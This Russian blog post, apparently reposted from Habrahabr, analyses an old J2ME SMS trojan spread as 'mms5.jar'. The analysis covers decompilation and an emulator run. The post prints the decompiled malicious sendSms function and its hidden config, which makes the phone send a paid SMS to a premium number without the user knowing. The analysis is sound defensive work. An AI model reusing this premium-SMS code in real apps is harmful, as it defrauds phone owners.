Исследование мобильного jar трояна

Автор: admin от 27-03-2015, 15:19, посмотрело: 800

Бывает так, что вам приходит смс следующего содержания: «Вам пришло MMS-сообщение, которое можно посмотреть по ссылке: ...» Хотя сейчас мобильные вирусы уже полностью переключились на Android-устройства, все же остались старинные «динозавры», которые до сих пор терроризируют мирных жителей.

В мои руки попал файл «mms5.jar», который был мгновенно детектирован Антивирусов Касперского как «троянская программа Trojan-SMS.J2ME.Smmer.f». Его мы и разберем подробно.

Файл с именем «mms5.jar» является архивом формата «zip», в котором содержатся файлы:

Исследование мобильного jar трояна

Необходимым условием для исполнения программы, содержащейся в архиве с именем «mms5.jar», является наличие в архиве файла с именем «manifest.mf» в каталоге «meta-inf».

Исследование мобильного jar трояна

В соответствии со значением параметров «MicroEdition-Configuration» и «MicroEdition-Profile», указанных в файле с именем «manifest.inf», можно сделать вывод о том, что программа, содержащаяся в файле с именем «mms5.jar», предназначена для мобильных телефонов и карманных персональных компьютеров.

С помощью декомпилятора «Fernflower» был декомпилирован файл «mmsposter.class», содержащийся в архиве «mms5.jar».

Далее при помощи «JAVA ME SDK» программа, полученная в результате декомпиляции, была откомпилирована и запущена. При этом в эмуляторе мобильного телефона запустилось приложение с именем «ОТКРЫТКА». При нажатии на кнопку «Нет» приложение «ОТКРЫТКА» завершает свою работу.

Исследование мобильного jar трояна Исследование мобильного jar трояна

При нажатии на кнопку «Да» происходит запуск функции «sendSms», при успешном выполнении которой на экран эмулятора выводится окно, в котором приведена картинка с поцелуем.

Вредоносная функция «sendSms»:

public boolean sendSms() {
  boolean flag = true;
  if(this.isRecordstoreExists()) {
    return flag;
  } else {
    try {
      int ex = 0;
 String s1 = this.getResourceText("/1.gif");
 int i;
 while((i = s1.indexOf("[", ex)) >= ex) {
   int crs = s1.indexOf(":", i);
   int l;
   ex = l = s1.indexOf("]", crs);
   String obj = s1.substring(i + 1, crs);
   String s = s1.substring(crs + 1, l);
   TextMessage textmessage;
   MessageConnection obj1;
        textmessage = (TextMessage)((MessageConnection)(obj1 = (MessageConnection)Con
        nector.open((String)("sms://" + obj)))).newMessage("text")).setPayloadText(s);
   ((MessageConnection)((MessageConnection)obj1)).send(textmessage);
   ((MessageConnection)((MessageConnection)obj1)).close();
  }
       boolean crs1 = this.createRecordstore();
  if(crs1) {
    System.out.println("Recordstore Created");
  }
  } catch (SecurityException var10) {
    flag = false;
  } catch (Exception var11) {
    flag = false;
    var11.printStackTrace();
  }
  return flag;
  }
}

В ходе выполнения функции «sendSms» происходит попытка отправки смс-сообщения на номер «1350» с текстом «4969991 543».

Номер «1350» и текст «4969991 543» берутся из файла с именем «1.gif».

[1350:4969991 543]

В итоге просмотр этой милой картинки может обойтись вам в 300 рублей.

Источник: Хабрахабр

Категория: Информационная безопасность

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
Введите два слова, показанных на изображении: *